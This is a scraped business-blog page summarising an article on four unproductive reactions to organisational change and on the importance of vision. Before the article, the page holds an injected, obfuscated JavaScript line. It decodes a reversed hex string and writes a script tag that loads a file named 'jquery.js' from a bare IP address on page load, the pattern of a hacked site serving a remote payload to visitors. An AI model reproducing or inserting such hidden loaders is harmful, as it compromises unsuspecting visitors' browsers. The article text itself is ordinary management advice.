var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Unproductive Reactions to Change – and What You can do About It – Unleash your Leadership Potential

Unproductive Reactions to Change – and What You can do About It

By Terence Traut, Entelechy, Inc.

ChangeWhile change almost always results in growth and progress, change affects people differently. Some people accept and even thrive on change. Others, however, don’t deal well with change. Here are some unproductive reactions to change and – from a manager or supervisor’s perspective – how to recognize and deal with people in these modes.

The four unproductive reactions are:

  • Disengagement
  • Disidentification
  • Disorientation
  • Disenchantment

The article ends with a discussion of the importance of vision in dealing with change. Vision often is the guiding light — or the lifesaver — that enables even the most disengaged, disidentified, disoriented, and disenchanted employee to survive the changes.

View/Download the Complete Interview

Author: STEP Consulting



Leave a Reply